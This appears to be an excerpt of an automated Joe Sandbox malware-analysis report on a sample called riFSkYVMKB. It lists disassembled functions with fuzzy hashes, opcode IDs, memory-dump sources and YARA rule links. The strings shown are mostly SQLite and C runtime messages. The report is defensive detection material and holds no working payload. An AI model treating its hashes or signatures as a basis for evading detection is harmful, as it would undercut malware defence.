                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: _invalid_parameter_noinfo
                                                                                                                                                                                                                                          • String ID: verbose
                                                                                                                                                                                                                                          • API String ID: 3215553584-579935070
                                                                                                                                                                                                                                          • Opcode ID: 8c3a45f75ca5c0a3459ca2e96ae2fbbf181a3d63a640e770f0a7cf37c7606cec
                                                                                                                                                                                                                                          • Instruction ID: 4c42fd1164af91e6afb1e63cfae4bebe30c282df8621a43f63f85ab7a054429d
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 8c3a45f75ca5c0a3459ca2e96ae2fbbf181a3d63a640e770f0a7cf37c7606cec
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 1E919A22B0CE4681E771AFB9D45037EB691AB41B94FC84376DADA473C5EE3CE8458320
                                                                                                                                                                                                                                          Function 00007FFD941685A0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 239COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          • 00007FFDA4173010.VCRUNTIME140(?,?,?,?,00000080,?,?,?,00000000,00007FFD94168A6F), ref: 00007FFD94168739
                                                                                                                                                                                                                                          • 00007FFDA4173010.VCRUNTIME140(?,?,?,?,00000080,?,?,?,00000000,00007FFD94168A6F), ref: 00007FFD941687BB
                                                                                                                                                                                                                                          • 00007FFDA4173010.VCRUNTIME140(?,?,?,?,00000080,?,?,?,00000000,00007FFD94168A6F), ref: 00007FFD941688AD
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2283494256.00007FFD940D1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFD940D0000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283450258.00007FFD940D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94231000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94233000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94248000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284223881.00007FFD9424A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284334350.00007FFD9424C000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ffd940d0000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: 00007A4173010
                                                                                                                                                                                                                                          • String ID: RETURNING may not use "TABLE.*" wildcards
                                                                                                                                                                                                                                          • API String ID: 1436585979-2313493979
                                                                                                                                                                                                                                          • Opcode ID: 17f7c90136fb561778db9ab3758a5a3b376a01926fa97c884be4e8f3c66a5517
                                                                                                                                                                                                                                          • Instruction ID: cad9f93212eec9e3efa5fa59a14f40d554ad93d0620f786fdcdb9018bb77f1c2
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 17f7c90136fb561778db9ab3758a5a3b376a01926fa97c884be4e8f3c66a5517
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 2DB18C23B09B8186E720CF5594902A967A1FB56BE8F09C336DE6D277D6DF38E195C300
                                                                                                                                                                                                                                          Function 00007FFD9411D3D0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 220COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          • 00007FFDA4173010.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,00007FFD94117847), ref: 00007FFD9411D52A
                                                                                                                                                                                                                                          • 00007FFDA4173010.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,00007FFD94117847), ref: 00007FFD9411D554
                                                                                                                                                                                                                                          • 00007FFDA4173010.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,00007FFD94117847), ref: 00007FFD9411D5A7
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2283494256.00007FFD940D1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFD940D0000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283450258.00007FFD940D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94231000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94233000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94248000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284223881.00007FFD9424A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284334350.00007FFD9424C000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ffd940d0000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: 00007A4173010
                                                                                                                                                                                                                                          • String ID: H
                                                                                                                                                                                                                                          • API String ID: 1436585979-2852464175
                                                                                                                                                                                                                                          • Opcode ID: cfbeda1bf99951151eff030447c4d7a4d5e89bf1fbf00df94b65fd72b816f457
                                                                                                                                                                                                                                          • Instruction ID: b1baeff417e39a6b0b589001621739622bd4918e4da79758bce410ddf7a2627e
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: cfbeda1bf99951151eff030447c4d7a4d5e89bf1fbf00df94b65fd72b816f457
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 09919E63B2865186EB748F55D4A077A67A0FB8AB94F148634DE9E17B86CF3CF440CB00
                                                                                                                                                                                                                                          Function 00007FF79D06FC38 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: _invalid_parameter_noinfo
                                                                                                                                                                                                                                          • String ID: UTF-16LEUNICODE$UTF-8$ccs
                                                                                                                                                                                                                                          • API String ID: 3215553584-1196891531
                                                                                                                                                                                                                                          • Opcode ID: 4ea7f6e1ba59c177a711b7ec70ee344f27d005a52efb2894dd87f7f788f8515e
                                                                                                                                                                                                                                          • Instruction ID: 54b3434da40a0b54c3d56e06a60074f927fa732be002450fadec3da58ca3e48e
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 4ea7f6e1ba59c177a711b7ec70ee344f27d005a52efb2894dd87f7f788f8515e
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 2681A232F0CA4285F7746FBD8110278BEA1AF11748FD54235DA8A9769AFF2DF9018321
                                                                                                                                                                                                                                          Function 00007FFD941593F0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 198COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2283494256.00007FFD940D1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFD940D0000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283450258.00007FFD940D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94231000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94233000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94248000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284223881.00007FFD9424A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284334350.00007FFD9424C000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ffd940d0000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID:
                                                                                                                                                                                                                                          • String ID: %s.%s$column%d$rowid
                                                                                                                                                                                                                                          • API String ID: 0-1505470444
                                                                                                                                                                                                                                          • Opcode ID: 30ee24403bbbe39b15dc8828bd75070d7d44f9a04dc3d048d0a1485fb1bb9eaf
                                                                                                                                                                                                                                          • Instruction ID: fc50566eb476ece12a2a5a18cb8666a762c0b33dd24a1ac78d6094acc48b5eb6
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 30ee24403bbbe39b15dc8828bd75070d7d44f9a04dc3d048d0a1485fb1bb9eaf
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 1C91BD22B18B8281EA30CB95D4A43A967A4FB46BA4F448336DEBD577D6EF3DD405C301
                                                                                                                                                                                                                                          Function 00007FFD940F89A0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 192COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2283494256.00007FFD940D1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFD940D0000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283450258.00007FFD940D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94231000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94233000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94248000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284223881.00007FFD9424A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284334350.00007FFD9424C000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ffd940d0000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID:
                                                                                                                                                                                                                                          • String ID: %s at line %d of [%.10s]$8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355$database corruption
                                                                                                                                                                                                                                          • API String ID: 0-3727861699
                                                                                                                                                                                                                                          • Opcode ID: ac59a9cb4a734ac58b84e693e8c4ebf4f1f7077b93233f305f08416909222bbb
                                                                                                                                                                                                                                          • Instruction ID: 567819b3a070a280900e2bcbfd548fe564f6f38fd61f25fb0e5fd511a21d4e78
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: ac59a9cb4a734ac58b84e693e8c4ebf4f1f7077b93233f305f08416909222bbb
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: A081D1237086C18AE7748BA586E56BE7BA0FF42780F048172DB8D47642DF3CE495D740
                                                                                                                                                                                                                                          Function 00007FFD94133E60 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 183COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2283494256.00007FFD940D1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFD940D0000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283450258.00007FFD940D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94231000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94233000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94248000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284223881.00007FFD9424A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284334350.00007FFD9424C000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ffd940d0000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: 00007A4173010
                                                                                                                                                                                                                                          • String ID: $, $CREATE TABLE
                                                                                                                                                                                                                                          • API String ID: 1436585979-3459038510
                                                                                                                                                                                                                                          • Opcode ID: eaaf35ae7b10ff9f02fc1879a24a9f13428addb4e320b869457f88e9802eb3dd
                                                                                                                                                                                                                                          • Instruction ID: 29a5832943c8d89a4cd9cd3e120a36f179f602e97df65011c712898eee209fc7
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: eaaf35ae7b10ff9f02fc1879a24a9f13428addb4e320b869457f88e9802eb3dd
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: AD610763B08A8686DB358F54A4A02BAB7A2FB45BA4F448335DE6D437D2DF3DD446C300
                                                                                                                                                                                                                                          Function 00007FF79D05D6B8 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: CurrentImageNonwritableUnwind__except_validate_context_record
                                                                                                                                                                                                                                          • String ID: csm
                                                                                                                                                                                                                                          • API String ID: 2395640692-1018135373
                                                                                                                                                                                                                                          • Opcode ID: c7f5fdff7c0b40b6635b3f9850cf21a5be83d788788a684f503aa9329af71794
                                                                                                                                                                                                                                          • Instruction ID: 7fdb24adaa101f5da9555f702d7bc20a5e49a7eb091994e8c745d7f8f0f79c02
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: c7f5fdff7c0b40b6635b3f9850cf21a5be83d788788a684f503aa9329af71794
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: BE51A332B2D6028ADB24EB2AE444678B791EB44B94F944132DEDD47744FF3DE841C720
                                                                                                                                                                                                                                          Function 00007FFD940F8CA0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 152COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2283494256.00007FFD940D1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFD940D0000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283450258.00007FFD940D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94231000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94233000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94248000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284223881.00007FFD9424A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284334350.00007FFD9424C000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ffd940d0000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: 00007A4173010
                                                                                                                                                                                                                                          • String ID: %s at line %d of [%.10s]$8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355$database corruption
                                                                                                                                                                                                                                          • API String ID: 1436585979-3727861699
                                                                                                                                                                                                                                          • Opcode ID: 75da13944be0d2eaaf71d09a02690a791e9ea79b5304e52c345f89a23cfe710d
                                                                                                                                                                                                                                          • Instruction ID: c0f09ddc669862f083cb2a0cdc7becff898d326c2ed58960281fe5ae6e492282
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 75da13944be0d2eaaf71d09a02690a791e9ea79b5304e52c345f89a23cfe710d
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: DE51DF73708BC4C5CB20CB99E4A46AEBBA5FB56B84F15813AEA8E43756DB3CD045C700
                                                                                                                                                                                                                                          Function 00007FFD9410C5E7 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 149COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2283494256.00007FFD940D1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFD940D0000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283450258.00007FFD940D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94231000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94233000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94248000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284223881.00007FFD9424A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284334350.00007FFD9424C000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ffd940d0000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: 00007A4173010
                                                                                                                                                                                                                                          • String ID: out of memory$string or blob too big
                                                                                                                                                                                                                                          • API String ID: 1436585979-2410398255
                                                                                                                                                                                                                                          • Opcode ID: 32c2ae49c0d43b0bf73bf14441e4c9b52f205afacfc25aad9bb6812841d0f57a
                                                                                                                                                                                                                                          • Instruction ID: a36fdaf3a0ba410f009b26e436d4d79f651019460d08e155f1281159574bf708
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 32c2ae49c0d43b0bf73bf14441e4c9b52f205afacfc25aad9bb6812841d0f57a
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: C361B467B0865282E7349B66E1A027E6760FF46B98F108032EE4D27B96DF3DE452D710
                                                                                                                                                                                                                                          Function 00007FF79D05EF48 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: CallEncodePointerTranslator
                                                                                                                                                                                                                                          • String ID: MOC$RCC
                                                                                                                                                                                                                                          • API String ID: 3544855599-2084237596
                                                                                                                                                                                                                                          • Opcode ID: 1984f943fe60021c6db05f5888f7dd086acc6d0e2a461e0c712dd9be4fa02006
                                                                                                                                                                                                                                          • Instruction ID: 05726eada09a3642137d248f0510d4ba8f1dc5a04e8a15e04fe5d7bcf37477ef
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 1984f943fe60021c6db05f5888f7dd086acc6d0e2a461e0c712dd9be4fa02006
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 6361503290CB8585EB70AB2AE4407AABBA0FB85794F444225EFDD07B55EF7CD190CB14
                                                                                                                                                                                                                                          Function 00007FF79D05F2F8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
                                                                                                                                                                                                                                          • String ID: csm$csm
                                                                                                                                                                                                                                          • API String ID: 3896166516-3733052814
                                                                                                                                                                                                                                          • Opcode ID: 1b872e8f6993e9c5779cc40e3c84c693849f7921638dfce8d08fafba9ab8d571
                                                                                                                                                                                                                                          • Instruction ID: a80c26f3294f02d692a1d8ec0d6861e4dc17c232ab4925b7dc33dd0b871b761f
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 1b872e8f6993e9c5779cc40e3c84c693849f7921638dfce8d08fafba9ab8d571
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: F9518E7290C38286EB74AF3A9044268BBA0EB54B94F944235DEDD47795EF3CE450CB10
                                                                                                                                                                                                                                          Function 00007FFD940D8417 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 128COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2283494256.00007FFD940D1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFD940D0000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283450258.00007FFD940D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94231000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94233000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94248000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284223881.00007FFD9424A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284334350.00007FFD9424C000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ffd940d0000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: 00007A4173010
                                                                                                                                                                                                                                          • String ID: (join-%u)$(subquery-%u)
                                                                                                                                                                                                                                          • API String ID: 1436585979-2916047017
                                                                                                                                                                                                                                          • Opcode ID: e4b271abe33ea453b0af829f0d0b3c64b2499140cc847aae9644bee38be7c82c
                                                                                                                                                                                                                                          • Instruction ID: edc4b485d21b6976bc1fae9efccb0ff99f326bc20e8098c8c6e8556a0f7055cf
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: e4b271abe33ea453b0af829f0d0b3c64b2499140cc847aae9644bee38be7c82c
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: D251D173B1874281EB709A65D4E673923A1FB16BA0F51C731EA3D032CADE2CE449E740
                                                                                                                                                                                                                                          Function 00007FFD938F21E0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 115COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280851953.00007FFD938F1000.00000040.00000001.01000000.00000013.sdmp, Offset: 00007FFD938F0000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280801321.00007FFD938F0000.00000002.00000001.01000000.00000013.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280851953.00007FFD9393A000.00000040.00000001.01000000.00000013.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280851953.00007FFD93948000.00000040.00000001.01000000.00000013.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280851953.00007FFD93997000.00000040.00000001.01000000.00000013.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280851953.00007FFD9399C000.00000040.00000001.01000000.00000013.sdmpDownload File
